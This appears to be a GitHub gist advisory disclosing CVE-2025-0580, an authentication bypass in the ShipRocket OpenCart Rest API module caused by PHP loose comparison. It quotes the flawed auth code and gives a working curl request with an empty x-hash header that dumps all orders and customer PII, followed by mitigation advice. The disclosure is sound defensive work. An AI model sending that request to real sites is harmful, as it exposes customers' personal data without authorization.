Skip to content

Instantly share code, notes, and snippets.

@mcdruid
Last active April 4, 2025 11:28
Show Gist options
  • Save mcdruid/0d1fdbba445587639ee5da66e7abfcc9 to your computer and use it in GitHub Desktop.
Save mcdruid/0d1fdbba445587639ee5da66e7abfcc9 to your computer and use it in GitHub Desktop.
ShipRocket OpenCart module access bypass vulnerability

Summary

The ShipRocket OpenCart Rest API module has an access bypass vulnerability, as a result of a logic error and type confusion in PHP.

This allows an unauthenticated attacker to access Personally Identifiable Information (PII) and other potentially sensitive information stored in the site's database. It may also be possible to make changes to the site's database.

Timeline

  • 2025-01-07: mcdruid informs ShipRocket of this vulnerability

Details of the Module

Vulnerability Classification

  • CWE-863: Incorrect Authorization
  • CAPEC-115: Authentication Bypass
  • CVSS (v3): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N 8.2 High
  • CVE: CVE-2025-0580

Steps to Reproduce

In the examples below, a simple OpenCart test site has been set up with the ShipRocket Rest API OpenCart module installed. No further configuration is necessary.

The vulnerability is caused by the following authentication code:

      $publicHash = @$this->request->server['HTTP_X_PUBLIC'];

      if (isset($publicHash) && !empty($publicHash)) {

        $contentHash = $this->request->server['HTTP_X_HASH'];

The supplied $publicHash is looked up in the database, after which:

        if ($result->num_rows > 0) {
          $privateHash = $result->row['private_key'];

          $hash = hash_hmac('sha256', $publicHash, $privateHash);
        } else {
          $hash = '';
        }


        if ($hash == $contentHash) {
          return true;
        } else {

          $this->response->addHeader('HTTP/1.1 401 Not Authorized');

The value of $contentHash is taken from a custom HTTP header.

If the x-hash header is sent with an empty value, $contentHash is set to an empty string.

If the x-hash header is omitted, $contentHash is set to null.

The comparison uses == rather than the strictly typed === (see: https://www.php.net/manual/en/language.operators.comparison.php ).

This means that if the value of the x-hash header loosely equates to an empty string (after PHP's type juggling), authentication is successful.

Therefore an attacker can achieve this by sending an arbitrary value for the x-public header (one which does not match a public key in the database) and an empty value for the x-hash header (or by simply omitting the x-hash header).

For example, the following will retrieve full details of all orders in the db.

$ curl -s 'http://opencart3.ddev.site/index.php?route=extension/module/rest_api&action=getOrders' -H 'x-public: foo' -H 'x-hash;' | jq
{
  "status": 200,
  "data": "[{\"order_id\":\"1\",\"invoice_no\":\"0\",\"invoice_prefix\":\"INV-2025-00\" ...snip... \"firstname\":\"First\",\"lastname\":\"Last\",\"email\":\"email@example.com\",\"telephone\":\"12345\",\"fax\":\"\",\"custom_field\":\"[]\",\"payment_firstname\":\"First\",\"payment_lastname\":\"Last\",\"payment_company\":\"\",\"payment_address_1\":\"Address1\" ...snip... \"payment_method\":\"Cash On Delivery\" ...snip...

(Note curl's syntax for sending an empty header using a semi-colon.)

Mitigation

The authentication code could / should:

  • Check for the presence and validity of both customer headers.
  • If there's no match for the hash in the db, the method could return immediately or perhaps set $hash to FALSE rather than an empty string.
  • If the comparison is reached, it should use the strictly typed === instead of == to avoid type confusion errors.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment